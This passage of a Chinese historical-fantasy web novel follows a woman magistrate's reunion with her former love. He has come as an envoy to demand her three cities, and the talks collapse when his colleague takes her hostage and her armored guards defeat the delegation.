“原来是陈督尉、甄主簿!此次我们奉命出使云州,带了五百兵马,驻扎城外。远来劳顿,能否一起进城休整?”
他故意说这种话,是想看安卫城的态度。
而且这五百兵马可不是普通士兵。全是柏州精挑万选出来的精兵,以一当十,其中不乏高手。燕彬、傅振、叶清辞三人为佼佼者。
景渊打的主意,软的不成来硬的。谅一介女流,能有多大本事?
和谈得好,给叶清辞面子放苏蓉一马。
倘若谈崩……
那正好是叶清辞效忠的机会。
没有亲眼见过,谁也不相信女县令有什么真本事。就算女县令手下有一支传得神乎其神的私兵,柏州也没当回事。
觉得肯定是云州刘知府无能,吃了败仗为在三皇子面前推卸责任,夸大其词。
趁三皇子势微,二皇子四皇子鞭长莫及,太子景渊果断出手,要先将三座城镇接管过来,扩张自己地盘。
“贺大人也想带兵入城?”
不等贺子民觉得他笑得诡异,**喜咧咧嘴道:“安卫城虽不大,接待几百上千兵马,绰绰有余。贺大人若觉得这样有安全感的话,就带兵入城吧。”
什么叫他觉得有安全感!
贺子民听着这话极其刺耳。想要翻脸,人没进城呢。避免在掌控局势前节外生枝,他只得气鼓鼓忍着。
旁边叶清辞与傅振默默交换眼色。
对方一句“也想带兵入城”,大有文章。
但对方可是苏娘子啊!
两人打死不信苏娘子会对他们做什么。因此,就算起了疑,还是要进城看看。
**喜、甄云瞅着唯恐他们反悔,赶紧去召集随行兵马的贺子民,心头冷笑。
当真是无知者无畏!
上一个敢带兵入城,威逼苏大人的家伙,坟头草半人多高了!
这是有多瞧不起他们安卫城!几百随行人员,就妄想喧宾夺主。自家大人若是有那么好欺负,他们会忠诚追随到现在?
不过留心观察,贺子民带来这队人马,杀气腾腾,膘肥体壮,确实比云州兵看着像样点。
杀没杀过人,上没上过战场,一目了然。
**喜略微可惜。
这样的士兵若是属于他们安卫城的多好。当然跟自家大人手下的甲兵比起来,啥也不是。
苏蓉一身盛装,带着人等在衙门口。为迎接叶清辞,还略施粉黛。
所有人没见过她这样精心打扮的时刻。
不止叶清辞一行,没能第一时间认出面前这光彩照人
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的女子是苏蓉。连成天抬头不见低头见的**喜等人,也傻愣愣看会主子,然后努力把嘴巴闭上。
贺子民倒是眼睛一亮。
本以为能趁乱夺城、有野心有魄力的女县令,是个五大三粗的蛮妇;要不也是个吊梢眼、无时不刻充满刻薄算计的女人。
没想到对方意外年轻。眉目如画,温婉中透露出女子少有的勃勃英气。看她一眼,仿佛周围的市井喧嚣,全成了红尘背景,静止不动。
唯一醒目缺点,大约是肤色不白。不过转念又觉得只有那健康的小麦色,能衬托她与众不同的鲜活。
贺子民吸口气,刚要开口。
苏蓉越过他,径直走到叶清辞面前。两人对视,胸中千言万语,不知从何说起,只化为那深深一眼。
感觉熟悉,又恍若隔世般陌生。
“你瘦了……”
“你变了……”
同时开口,又同时紧紧闭嘴。
苏蓉失笑同时,低头没让叶清辞看清自己眼中涌出的潮湿之意。
她确实变了。
可她不敢想自己在他心目中的变化,是不是令他感到十分失望?
众目睽睽,苏蓉很快掩饰住失态,冷静抬头,招呼**喜等人。
“陈督尉,甄主簿,你们二人负责接待柏州来使,好好招呼他们。明早,再谈正事。”
说罢,伸手拉住叶清辞。在所有人不可置信的目光中,将人带往后衙。
哪怕燕彬眼神要**,贺子民面带被无视的愤怒,傅振一脸吃瓜表情……她现在是安卫城首领,天王老子来了,也挡不住她找叶清辞叙旧!
叶清辞同样没理睬其他人异样的目光。虽觉苏娘子胆大,但他同样迫不及待想问对方太多问题。
因此,没有丝毫挣扎,顺从地任由苏蓉牵着手,远离大众视线。
苏娘子的手小而软,带给他一种温暖的感觉。他情不自禁反手握了上去,把那只小手整个包裹在自己大手中。
接触到对方指掌间粗糙的茧子,两人心情都是一震。沉默瞟对方一眼,缓慢松手。
第154章 疏离
苏蓉一直将叶清辞领进县署內宅,在院子里石凳坐下。这里视野开阔,方便说话又能看清周围是否有人偷听。
听荷听雨送来两杯茶,一盘水灵果子,然后懂事地退到院门外去,兼带把守。
叶清辞低头瞧着精美的白瓷杯盏、市面少见的樱桃果,若有所思。
看来苏娘子在这安卫城,过得的确不错。
如今县衙里,她是主,他是客。
渐渐地,他心里涌出一股莫名悲凉。看向眼前雾鬓风鬟、出落得越发神清骨秀的女子。明明咫尺距离,却感觉两人渐行渐远。
“所以……”
他艰难干涩开口。
“岷郡王氏……是你?”
苏蓉不知回答什么才好。默然片刻,抿紧下唇,点了点头。
她的作为,让他的清官之名,仿佛成了个笑话。
她一直以来的隐瞒和欺骗,也让他感觉曾经的自以为是,无比可笑。
从前所有想不通的疑点,此刻全部有了答案。
本该无比愤怒和失望,但重逢的喜悦,肩负的使命,让他大脑一片混乱,不知该如何是好。
苏蓉小心翼翼道:“大人,你在柏州,一切可好?”
叶清辞现在这模样,超乎她想象的憔悴,完全没有在宜阳县时的意气风发。
她很想直截了当问他是否追求自己理想成功,又怕明白问了伤他的自尊心。
毕竟他是那么忠于太子和先帝。
叶清辞唇角微微上扬。
“我很好。倒是你……走上我看不明白的路,连我也到达不了的高度。”
苏蓉听出他嘲讽之意。语气明显的疏离,更是刺得她内心一痛。
她身上还穿着他赠送的天蚕宝甲。但他的心,似乎已相隔甚远。
他保持世家公子深入骨髓的礼仪,没有爆粗口当面指责她从前隐瞒欺骗,态度却是有了显著转变。
这不是她想要的!
意识到再说下去,两人可能翻脸相向,她立即起身,让听荷去将叶浩锐带来。
看见叶清辞惊讶看着哭喊“堂哥”,扑到怀里来的叶浩锐,她心里舒畅许多。对抱在一起的两人道:“你们先聊!”
随后把私人空间留给这对堂兄弟。
有些事,与其自证,不如让人旁证她当时的不得已。除了没按照约定将官印立即交予叶清辞,其它的她内心无愧。
天下是天下人的天下。
凭什么要让她将凭实力得来的东西,交给外人。
太子想白得三座城,先拿出自己的诚意!
走出內宅,发现甄云等在门外,她疑惑走过去:“你是主簿,不招待柏州使者,在这里做什么?”
甄云抱拳施礼,直起腰目视她。
“大人,你是否想将安卫城、斐县、庐城三座城镇,拱手献于太子?”
苏蓉立即否认。
“我没有这样想!”
“若是那探花郎开口,您会同意?”
苏蓉闭上嘴巴。
一开始她的确有此打算。不过,叶清辞现状不在她估料范围内。
若是太子重视叶清辞,想让叶清辞坐镇安卫城,不应该另派正使,以叶清辞为辅。
她不信诈死逃生,颇具城府的太子,能力这么弱查不到她和叶清辞的关系。
明知的情况下,仍然不重视叶清辞。不仅是对叶清辞超级不信任,更是对她的轻视!
叶清辞抛弃一切追随这种主子,图的是啥?
甄云缓缓道:“大人,您一战成名,拥有令天下人畏惧的私兵。就算您现在将三座城池拱手相让,他们也会对您充满猜忌,心生提防!”
“我听说那位探花郎叶大人对您有恩……”
“但是,他自顾不暇,在柏州毫无地位。您一旦将一切交出去,他能护得住您和您的家人,还有我们这班跟随您的属下么?”
苏蓉一震,忙分辨:“我没有想不管你们……”
就算真那样干,她也得先安置好大家。
甄云深深看着她。
“大人,您有这能力,为何定要瞻前顾后,考虑儿女私情,将天下拱手相让呢?”
苏蓉脸红了,内心又大为震撼,看着对方。
“甄云,你的意思,你支持我去夺天下?”
对方不是古人吗?
古人不都瞧不
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起女人,她隐隐起了这个心思不好开诚布公,没想到甄云竟然大胆支持她上位。
“天下有德者居之。”
甄云无比冷静。
“大人,您若能改变这**世道,建立一个公正、公平的新朝,让老百姓安居乐业。甄云愿为马前卒,将一身所学献给大人,供您驱策!”
话音未落,不远处响起一声。
“甄主簿说得好!”
**喜、柯澜、秦津、陈和顺等一群人走来,刚好听到甄云这话,顿时纷纷上前表明心迹。
“大人,我们也愿意追随您,奉您为主!”
苏蓉没好气:“你们是怕我把三城白白拱手相让,才邀约跑来准备劝阻我的吧?”
毕竟在她手下,这些人是依重的亲信。归于柏州管辖,太子会信任他们?
一朝天子一朝臣,对方肯定另派心腹。而**喜等人,会被狠狠打压。
当然甄云的话,也给她提个醒,确实要当心对方卸磨杀驴。
太子景渊算什么!他不重视叶清辞,那她就想办法,把叶清辞撬到己方阵营来。
就怕叶清辞一根筋,死忠对方有点难办。
见**喜等人呵呵讪笑,不愿离开。她怕惊动里面说话的叶清辞堂侄,便安慰几句。
“放心吧,我心里有数。明日大堂见了柏州使者,我们再好好商谈。你们不满意,绝不讲和!”
自己手下人意见,有必要尊重。
她这么表态,大家吃了颗定心丸,方才告退。
苏蓉让听荷听雨轮班照顾叶清辞堂兄弟。
说渴了送茶水,说饿了上酒菜,说累了带两人去休息。
自己满怀心思回房去了。不敢直接睡,心里暗暗企盼叶清辞跟堂弟说完话,会再要求见她。
叶清辞对她以前的隐瞒欺骗失望,换个人从旁的角度解释,或许能让他不那么生气。
她靠在床头打盹,迷糊快睡着时,终于听到听荷声音在外面响起:“大人,叶大人说,想再见您。”
苏蓉精神一振,连忙整理有些睡皱的衣裳,略微松散的发髻,出门大步流星跟随听荷来到院子。
第155章 争取不到的幸福
叶清辞把叶浩锐抱在怀里。叶浩锐双眼红肿,脸上泪痕还没擦干。
这孩子小小年纪,遭遇巨变,强撑给亲爹办完丧事,举目无亲,唯一能信任的苏蓉忙得顾不上他。
早已支持不住,此刻堂哥到来,才让他狠狠哭了一场。这哭出来心里舒服多了,累得不知不觉在堂哥怀里睡着了。
苏蓉轻手轻脚把人接过来,让听荷听雨抱回房间。叶浩锐隔壁屋住的是谭敖,两个孩子能相互照应下。
等没有外人在,叶清辞才对苏蓉正色说了句:“苏娘子,谢谢你救了浩锐。我代死去的堂叔,还有他家人,谢谢你!”
说着,抱拳弯腰,深深一揖。
听叶浩锐说明前因后果,他心里堵着的那口气,松动不少。
但是,他计较的不是苏蓉夺权,顺势接管安卫城。相反,他挺欣赏苏蓉的这种当机立断,敢于担责。
换位思考,他可能同样抉择。
他在意的只是,从一开始他就被对方耍得团团转!以为是为民做主,惩恶扬善,替冤屈的百姓昭雪沉冤。
结果是做了别人手中刀,错判黑白。
虽然苏蓉杀的都是该死之人,可那是他作为执法者该做的。没有任何人,能凌驾律法之上,凭己好恶动私刑!
苏蓉自然理解他如鲠在喉的不满,坐下来轻声道:“大人,当日若不是被逼至绝境,我不会用雷霆手段诛杀恶徒。那时候……”
她把道理掰碎讲给他听。
“大人并不了解我,也不熟悉丰定村和宜阳县。你办案,若查出凶手确实与我有关,受我指使,你会放过我吗?”
“……”
叶清辞沉默。
试想那个可能,只有一个答案——
当然不会!
杀人者偿命,天经地义。
不管苏蓉出于什么委屈,一而再、再而三买凶杀人,还是那样造成整个宜阳县恐慌的残暴手段,作为主使者只有一个下场。
律法不容许任何人践踏!
不过事过境迁,他不再是宜阳县县令,世道乱成一团,苏蓉还爬上令人意想不到的高位。当时知道内情的人,谁会不懂事站出来揭露。
那只会成为他为官履历的一个污点,一个他自己知道的污点。
想到这,叶清辞越发觉得没好气。觉得自己自负精明一世,被对方耍得团团转。要不是这个人是苏娘子,他一定不会放过对方。
见人不语,苏蓉试探着再次伸手触碰叶清辞的手。见他没有抗拒的意思,大着胆子,主动握住他的手。
“大人……你实在气不过,打我几下出气吧!是我不好,以前骗了你……”
贴身宝甲都送给她穿了,她也大方给了许多灵芝人参当回礼。这难道不是坦诚布公定情的信物?
苏蓉不扭捏。
叶清辞要顾虑的东西实在太多,公主、家族、名誉、双方身份。她再不主动点,看中的男人退缩了。
幸福,得靠自己争取!
再说,她还想撬那太子景渊的墙角呢。
面对苏蓉一张快贴到眼前放大的脸,连她黝黑瞳仁里映着他人影子也能瞧清楚,叶清辞感觉一股灼热,烧到耳根。
他情不自禁伸手,想要抚摸她的脸。
多少个日夜,他会在处理公务、异常疲倦时,想到这张脸。
以为此生再无机会相见,说不定哪一天,他为太子殿下征战沙场,人便没了。
他不愿拖累她,才道别。
却做梦想不到再相见,会是在这种情形。
醒悟起三座城池,回想起临行前太子的殷殷期望,他硬生生将快贴近她脸的手指,收了回来,紧紧蜷曲成拳。
刻意忽视她眼中涌现的失望,声音冷淡。
“我打你做什么?过去的已经过去了。你现在是自封的安卫城县令,手里有三座城,我作为柏州使者,奉命来与你交涉!”
“要怎样你们才愿意归顺太子殿下,照实提条件吧!”
说罢,手一挥,甩开苏蓉的手。
“依我看,那位太子也并没有重用你。否则,不会让你仅当个副使来和我交涉!”
苏蓉心中难过,话忍不住冲口而出:“大人,我心里想的是,若你能来坐镇安卫城,就把三座城池,交归你管辖。”
“别人我不信,但你为官清正,我是完全放心的!”
叶清辞先是诧异,随即内心有些感动,面上仍摇头:“若你们归顺太子,安卫城会派谁来治理,我没资格过问。”
苏蓉一听,立即生气。
“既然如此,我为何要双手将安卫城拱手奉送?”
太子算个毛?不就是那什么昭宁公主的哥哥吗!
叶清辞摸自己下巴。
跟女人无法讲道理……苏娘子虽然与众不同,也还是个女人。
他试图劝说苏蓉。
“苏娘子,别看现在局势混乱,诸侯势力争夺地盘大打出手。但是,唯有太子殿下,才是正统储君!”
“你知道吗,柏州本来下属只有五座城池。太子殿下到柏州后举旗,如今已有十二座城池先后表示归顺。伪帝、二皇子、四皇子之流,秋后蚂蚱蹦跶不了几天。”
“你若听信你那帮手下,抱有不切实际幻想,后果将难以承受!”
苏蓉心头一凛。
暗想对方倒是猜到她们的打算。
那他看出来的,柏州使者贺子民是不是也知道?
转念一想,大伙都在梁山上了,还怕人知道!
陈明喜、甄云等人,自然希望她顺势爬到最高处。但她还没想好,到底要不要争那把椅子。
毕竟她性子较懒散。县衙公务都不想做的人,何况去处理天下事?只是觉得,已经到这份上,退后说不定万丈悬崖等着她!
看着叶清辞,她索性直截了当说出条件。
“三座城池,我只交给大家能信任接受的人。要么你来做这三城知府,要么我来!否则,三城绝不可能挂上太子景渊的旗帜!”
这是她对这个信任并爱着的男人,最大让步。
叶清辞动容。
然而往深处想想,无奈摇头。
太子身边的幕僚,全是老顽固。他们支持正统储君,同样的,他们也是维护旧秩序的绝对忠诚捍卫者。
苏蓉作为一个女人,不可能得到官位,还是知府这样有着绝对兵权的高官。
而他……
苏蓉当真推他上位,只会加深太子对他的忌惮和怀疑,说不定最后,他连主簿工作也没得做。
站起身,带着一身疲惫和伤感,叶清辞深深看了眼苏蓉。
“那就这样吧……明日再见!”
第156章 墙角撬不动
没有在县署內宅停留,叶清辞直接走出院门,打算去柏州使者团下榻的地方。
苏蓉茫然跟在他后面,想出口挽留,又觉得到了这个地步,挽留有什么意义。
他们分明各自走上一条不归路。
快到衙门口,叶清辞忽然回头,看着苏蓉说了没头没脑一句。
“天蚕宝甲,在吧?”
苏蓉下意识地按住自己衣裳,如同五雷轰顶。暗想对方莫不是想要回去?
叶清辞伸出手,晃悠悠虚抚了下她的发髻,面上在笑,神情中却盛满苦涩。
“穿着它,尽量别脱下!”
随后,在她注视下,头也不回走掉。
苏蓉靠在门框上,顾不得守卫衙役投来错愕目光,鼻端泛起的酸意,直冲眼眶。
柏州使者团几位使者被安排在公馆,但贺子民非要去驿站和自己带来的几百军士挤着住,叶清辞也只能去那里。
他回到驻地时,贺子民、燕彬两人都没睡。院内灯火通明,明显在等他。
叶清辞瞥一眼,没心情搭理他们。问明驿站人员房间安排情况,对直朝自己房间走。
“叶大人!”
贺子民有点吹胡子瞪眼,明明看见他在等,还只管走自己的,简直没将他这正使放在眼里!
叶清辞冷着脸停下脚步。他心情不好到要爆炸,这些人明明看出来,偏要纠缠不休。是因知道太子殿下疏斥他,才敢这般放肆吗?
这个贺子民,在柏州不过是六品通判,仗着这次成为正使,一路阴阳打压他。
真当他是没脾气的软柿子了!
“贺大人有何见教?”
贺子民瞪着他:“叶大人,你被那位女县令拽去后衙,约谈这么久,不该对本官交代点什么吗?别忘了,咱们才是一路人!”
叶清辞冷漠看他一眼。
“无可奉告!”
转身就走,撇下贺子民扭曲抽搐的一张老脸。
房间内傅振睡得迷迷糊糊,被动静吵醒,隔着窗户听见这句话,不禁“噗嗤”一笑。
大人什么性格,这些家伙到今天才知晓吗?
当初大人可是对众多贵女,也摆出这张不假辞色的死人脸啊!不冷若冰霜,又不是那位恃才傲物的探花郎了。
叶清辞进门,见他睁着眼睛,对发小加一直追随自己的属下,才缓和面色。
“你还没睡?”
傅振舔舔干燥的嘴皮。
“有点想念宜阳县的马记烧鸡了!”
自从离开宜阳县,他就没吃到那么有味的烧鸡。
叶清辞一噎,脱下外衣,洗漱准备睡觉。
傅振手肘撑在床榻,手掌托脸,歪着头看他:“我以为你今夜不会回来?”
叶清辞面色一阵泛红。
“胡说八道什么!”
傅振嘿嘿一笑,放下手重新躺回去。过了会,半真半假说出一句:“苏娘子认我为师傅。你若不能给我徒儿名分,就别去招惹她!”
回答他的,是叶清辞丢过去的一块湿帕子,重重盖在脸上。
门外,手放在门板上准备敲门的燕彬,沉着脸放下手,转身离开。
他一走,傅振倏地坐起,抓着湿帕子凑到叶清辞身边。
“怎么说?苏娘子到底和你怎么说?他们说苏娘子手下,有一支战无不胜的私兵,是真的吗?”
他听到各种传闻,好奇死了。
叶清辞洗脸的手一顿。
这么大的事,一见苏蓉,他竟然忘了问。
满脑子苏娘子骗了他,脑袋轰轰的。后面又震惊苏蓉异想天开想当知府,或让他入主安卫城。
纠结双方不同的立场,哪里还记得什么私兵不私兵。
仔细想想,那岷郡王氏是苏娘子杜撰出来,从一开始,双方就有联系。只不知苏娘子用什么方式,取得那些人支持和忠诚罢了。
叹息一声。
“快睡吧!那私兵……多半我们明日便能见到了。”
傅振犹豫一下,看着他疲惫又茫然的神色,将快到嘴边的话,咽了回去。
翌日,苏蓉顶两个黑眼圈,让听荷听雨帮忙梳妆,在眼睛周围薄薄敷了层粉遮盖。今天是个重要日子,必须好好应付柏州使者。
对方翻脸相向的话……
她忍不住用力拍了拍梳妆台,心中无比懊恼!
古人咋就这么死脑筋呢?非要忠于一个不看重自己的主子!
她都含蓄表示:愿意退居二线辅佐他成就大业了,这人还一口拒绝,只想为他主子谋福利!
墙角撬不动,那她就干脆把整面墙摧毁了。
他想要主子,那她就给他一个主子!
旁边听荷听雨见到主子对镜一个劲运气、咬牙切齿的模样,面面相觑。
她们还没见过主子这般暴躁发怒的样子。
不过,一旦步入大堂,见到等待已久的柏州使者团,苏蓉面色已平静下来,一脸淡定坐在正中交椅上。
陈明喜、甄云等人站在左右,八名甲兵含一名金甲兵,一身肃杀之气,扇形侍立于她身后。大堂外三步一岗五步一哨,更是站满衙役和军士。
被人引导着登堂的贺子民心中恼怒。
这算给他们立威吗?
昨天来,还没见县衙这么多人。他不禁瞅叶清辞一眼。暗忖莫不是这小子昨日触怒女县令,两人谈崩了,今日对方才摆出这副架势来。
燕彬手按剑柄,进入大堂后没松开过。
同为顶级武者,他比其他人更能感应到那八名甲兵的凌冽杀机,不由得心生警惕。
叶清辞垂眸立于贺子民身后。
正式场合,他作为副使没有越俎代庖的权力,一切唯贺子民马首是瞻。
感应到苏蓉的目光不时落在他身上,他头也不抬。
虽说不满苏蓉剑拔弩张迎接己方,但贺子民对于己方实力无比自信。何况自家太子是名正言顺的大靖储君,皇位被逆贼暂时夺了而已。
是个大靖子民,都知道该怎么选!
他带着桀骜自信的心理,一脸傲慢面对苏蓉。
“已经过去一天了,苏娘子和诸位可想明白了?”
他面朝北方拱拱手。
“我方太子殿下,才是大靖正统、天下军民归心。尔等据区区三城,不过是偏安一隅,螳臂当车,迟早覆灭。趁早归降献城,方为明智之举!”
“何去何从,望速决断?”
第157章 放开苏娘子
苏蓉等人都听出话意来了。
昨日好歹还称呼一声“女县令”,今日直接叫“苏娘子”。
这是根本不打算承认苏蓉在安卫城的领导地位,更别说陈明喜等人由苏蓉授予的官职。
一时间,陈明喜等人纷纷投以怒目。
想要三座城,还什么好处不愿给,当他们是白痴?
苏蓉不紧不慢,把玩桌案上一方官印。
“让安卫三城承认太子为大靖正统,可以。但是,我有一个条件。我苏蓉,必须成为三城知府,拥有三城官员的任命权。”
现在局势不明朗,她与三皇子敌对,二皇子四皇子也是隐形敌人,还有乌蛮人虎视眈眈。
陈明喜、甄云等人意见,都是可以先在太子旗下蛰伏,静候时机。太子若礼贤下士、仁义便罢,不然三城还在自己手中,来得及分庭抗礼。
否则,太子凭什么兵不血刃扩占三城地盘?
“你一介女流,还妄想官至知府?”
贺子民瞪着眼,忍不住嗤笑一声:“你知道大靖官员是如何上位的吗?就连最低级别的县丞,也得是举人身,经过吏部层层考核筛选。”
“你一妇人身,认识几个大字?有什么能耐敢大言不惭当知府?简直贻笑大方!何况大靖两百年,从未听说过女子为官。”
陈明喜、甄云等人喉头发出怒声。
这使者嚣张至极!贬损苏大人,那他们在苏大人手底下做官,不是更加不入流?
顿时堂上堂下,拔剑“呛啷”声响成一片!
随行燕彬等侍卫,也立即将武器亮出。就凭安卫城这帮人,他尚未放在眼里。
叶清辞皱眉看贺子民一眼。
蠢材!
殿下为何总信任这种蠢材?
来要人家地盘,不好好哄着,还气势凌人让人家跪舔献上。但凡是个有骨气的,都咽不下这口气!
他真当苏娘子是普通女子,几句大话就吓住那种?
那可是……
当时眼不眨心不跳,将欺负她的恶人,碎尸万段,过后还在他面前镇定自若装无辜柔弱的人啊!
验尸后,别说他,司空见惯的仵作,足足三天没能吃下荤腥。
苏蓉笑了起来,摆手,让陈明喜等人收起武器。关注叶清辞的目光,吝啬分给贺子民一点。
“这么说,好好谈判是不成了?不接受我的提议,那么诸位从哪来,还回哪去。倘若柏州今后敢对安卫三城不利,那你们便是下一个云州!”
贺子民气得脸涨成猪肝色。
“你一个女流之辈,口气好大!豢养私兵,趁大靖内乱抢夺地盘,自封县令,简直是窃国之贼!”
“贺大人慎言!”
叶清辞听不下去了,出声阻拦。
傅振也不可思议瞅着贺子民:这正使派的是个猪头吧?他们人尚在安卫城,这么挑衅人家,不怕对方让他们回不去?
还是说看苏娘子是个女子,才敢这么放肆?
“啪”!
苏蓉重重一掌拍在桌案上。看在叶清辞面子上,敬他三分,这老小子倒将自己当成个人物了!
还敢骂她窃国贼?
正待发作,狠狠教训这个贺子民。只见对方脸上,浮现出一抹诡异微笑。
她一怔。下刻,寒光乍现,一道霹雳剑光,直冲她面门而来!
燕彬身形拔地而起,连人带剑,越过桌案到她身后。只一个晃神,雪亮的剑身,便横架在了她脖子上。
不止陈明喜等人大惊失色,叶清辞和傅振也是猝不及防,颇出意外。
“都别动!”
燕彬伸出一只手,扣住苏蓉肩头,眉目被剑光映衬得冷森无比。
“否则,你们女县令的人头也将落地!”
“燕彬!”
叶清辞沉不住气,一下子将剑拔出来对准他:“你在做什么,快放开苏娘子!”
他以为贺子民会用带进城的五百精兵搞事,怎么也想不到,燕彬会心甘情愿当这个打手。谈判不成,直接挟持苏娘子。
尽管他绝对生不出背叛太子的心,燕彬这下子也是触碰到心底逆鳞。顾不得会有什么可怕后果,立即想要解救苏蓉。
燕彬没有理睬叶清辞。
他虽然与叶清辞、傅振二人往昔情谊匪浅,但他效忠的一直是先帝,现在是太子。
此次出使,太子让他听从贺子民的,那他自然听从贺子民。
叶清辞开口,他非但不松手,反而扣住苏蓉肩头的手紧了紧。
看到苏娘子因疼痛眉头微蹙,叶清辞心中怒火高涨。又怕刺激燕彬真下杀手,只好暂时隐忍不动。
傅振被燕彬这二愣子行为气得肝疼。
明明他们三人才是一起的,在柏州也算一个小团体。燕彬还为大人受殿下冷落鸣不平。怎么一出使安卫城,就只听贺子民的了?
因为大人是副使吗?
“燕彬,你疯了?那是苏娘子!”
贺子民呵呵一笑,用轻蔑的眼光,环视周围人。
“他没疯。他只是遵照本官命令,拿下这个犯上作乱的假县令而已。”
自觉掌握住安卫城众人的七寸,他不免洋洋得意。
“本想着夺下安卫城献给殿下,还得费番手脚呢。没想到,你们这般天真,居然真以为我们是来和谈的?还敢放我们五百精兵入城,简直……”
他不屑摇头。
“果然让一个女人当家,奉一个女人为主的,皆是庸碌无能之辈!现在我们的五百精兵,应该已经将你们的四道城门,还有驻军所都控制住了!”
叶清辞愀然色变。
这些计划,太子并没有告诉他!
难不成他被派遣为使者,仅是太子抛出来的诱饵,为了迷惑苏娘子?
一时间,寒意涌遍全身。
他甚至不敢抬头,去看苏蓉此刻表情。
苏蓉面无表情。
等贺子民呱呱之后终于暂时性闭上嘴巴,方才冷冷开口:“贺大人,你说完了?”
“什么说完了没说完!”
贺子民一顿,随即怒目而视。
“苏氏,我告诉你,你已落在我们手中。趁早交出官印,让你手下人放弃抵抗献城。否则,你会第一个人头落地,然后是其他人!”
他带来的五百人马,可全是千挑万选出的精兵,其中燕彬更是武功高强。应付安卫城三千乌合之众,绰绰有余。
何况苏蓉现在还落到己方手里。就算强占城池,也有几分胜算。
第158章 再见是敌人
陈明喜等人,与贺子民的十数亲兵剑拔弩张对峙。听到这番话,不由得紧张看向被燕彬抓住的苏蓉。
实在不明白,为何到了这种危险关头,八名甲兵,还跟木雕泥塑当壁画似贴在墙边,一动不动。
苏蓉将一众人表情尽收眼底。看到叶清辞面上难以掩饰的焦急担忧,内心稍微一暖。
虽然这人是愚忠的傻子,但在这种情况,没考虑自己站位反而担心她,不枉她付出真心了。
转头对着得意洋洋的贺子民,脸上绽放一道奇异笑容。
“蠢东西!我既然敢放你们进城,难道我就没有完全把握收拾你们吗?”
不等所有人反应,她直接对召唤出等她老半天命令的甲兵吩咐一句。
“拿下柏州来使!”
听着这句莫名的话,燕彬眼角余光瞥到自己一直警惕着的甲兵,似乎人影晃了晃。
他反应迅速,想将手中剑切进苏蓉咽喉。
但他快,甲兵更快!
一只蒲扇大巴掌闪电般伸来,抓住剑身。
“咔擦”!
只听一声脆响,一柄上好宝剑,被硬生生掰成两段!
别说燕彬,连叶清辞和傅振都不能置信地望向那名银甲兵。
对方还是肉体凡胎吗?
比燕彬更迅猛的速度就算了,空手夺白刃,连宝剑也能一下子掰断!
高手过招,哪容丝毫走神。
燕彬错愕之际,一个钵大拳头,重重落在他脸上。
“砰”!
一声巨响,银甲兵将他整个人击飞,轰的一下撞飞桌案,连人带碎屑嵌进对面墙壁,抠都抠不下来那种!
燕彬嘴里顿时吐出几口鲜血,还有两颗牙齿,委顿倒在地上站不起来。
贺子民目瞪口呆。
不是,这可是他们太子麾下武功高手!一巴掌就被对方甲兵给制服了?
不用投鼠忌器,憋了半天怒火的陈明喜等人,带领军士一拥而上。将贺子民一干人全部卸了兵器绑起来,连叶清辞和傅振也没放过。
齐和安左右开弓,一口气狂扇贺子民几十个耳光,将人揍成猪头,嘴里骂骂咧咧。
“妈的,就凭你这尖嘴猴腮的老小子,敢欺负威胁我们大人?你怕是不知道花儿为什么这样红!”
更不知道,苏大人如今在安卫三城的地位和声名!
狗揍的差点把他们安卫三城军民的希望掐灭了。
苏蓉没有理会嘴巴呜呜发不出声音的贺子民,也没有注意一脸复杂,用莫名眼光看她的叶清辞和傅振,从手下那里要过一把剑,提着走向燕彬。
“苏娘子……”
叶清辞情急呼唤一声:“请你别伤害他……”
苏蓉眼中发热。
但这个人,险些两次要了她的命啊!
她以为身穿宝甲,又有甲兵保护,难免托大了点,没想到燕彬猝起发难。
若非对方想逼迫她交出安卫城,那剑直接落下,根本来不及召唤甲兵救她。
手持剑指向燕彬惨白的脸,听着叶清辞和傅振焦急的央求,犹豫了下,这剑还是没能刺下去。
不过死罪可免,活罪难逃。
她狠狠扇了燕彬两个耳光!迎着对方两道噬人狠厉的目光,冷笑。
“燕彬,这两掌,还你两次将剑架在我颈上之仇!”
顿了顿,又轻蔑道:“我以前一直纳闷,你为何对我总有敌意。现在仔细想想,你是因为昭宁公主对不对?”
燕彬目光闪烁。
苏蓉不欲给他留面子,直接大庭广众下扒掉他遮羞裤。
“什么先帝旨意,让叶大人为昭宁公主守制!他们皇家人自私自利将叶大人当作玩物就罢,你在其中假仁假义,搅什么局?”
“根本原因,是你自己喜欢昭宁公主吧!”
“偏偏身份下贱,只是个奴才,公主瞧不上你。你才把这种感情,压抑心底。可笑地想在昭宁公主死后,让她喜欢的人为她守身如玉?”
燕彬怒视苏蓉。
若是眼刀子能杀人,苏蓉早被他千刀万剐了。但是嘴一张,血往外涌,他虚弱得说不了话。对苏蓉的指责,无从反驳。
苏蓉越说越来气。
反手又是一记耳光,重重打在他脸上。
道貌岸然的嘴脸,自以为是的痴情,却是建立在无辜者的痛苦与生命上。
“叶大人拿你当兄弟,你却是将叶大人当作你家公主的禁脔!这巴掌,叶大人不忍心打你,我替他打!”
“听说以前还有接近叶大人的姑娘,悄无声息失踪。莫不是你或先帝干的?”
“太子自诩与叶大人交好,为何从不站在叶大人立场,为他说一句公道话?”
燕彬连伤带怒,气晕过去了。
苏蓉起身望向叶清辞,眼圈泛红。
这傻子恨她罢,怨她罢,她就是要揭露这一切,让他看清楚,他一意孤行效忠的是什么人!
今日彻底撕破脸,除非他明白过来,两人再也回不到从前了。
上前用剑割断叶清辞和傅振身上的绳索,苏蓉与叶清辞四目相对。叶清辞张张嘴,想说什么。又觉得到了这种地步,说什么还有何意义。
苏蓉要过两人兵器,还给两人,语气冷淡:“叶大人,看在你和傅大人面子上,我这次放你们云州使者团囫囵回去。下次再见,我们怕就是敌人了!”
“转告太子景渊一声,人若犯我,我必犯人!”
说完,吩咐陈明喜等人将贺子民一行,死狗一样拖走送出城。
叶清辞目送苏蓉拂袖而去的身影,神情怔忪。想说什么,终究没能出口。默默转身,带着傅振走出县衙。
到了外面,他才震撼莫名发现:他们带来的五百“精”兵,全部缺胳膊断腿,呼天抢地被一群铜甲兵,捏蝼蚁般塞在一辆辆平板车上!
为节省车辆马匹,人叠人垒放在车板,像是一座小山。怕滚下来还用绳索绑货物似的,栓成一串。而能四肢健全活着赶车的,好像就剩他、傅振、还有准备带走的叶浩锐。
至于他们进城时带的五百来匹军马、车辆辎重,大部分被安卫城军士理直气壮搜刮。
叶清辞……
这种雁过拔毛的行为,苏娘子究竟是从什么时候养成的?
他却不知,若不是看他的面子,他们这行使者团,会被剥得连裤衩子都不剩!
陈明喜、甄云等人,可是恨死了他们!
第159章 我脚滑
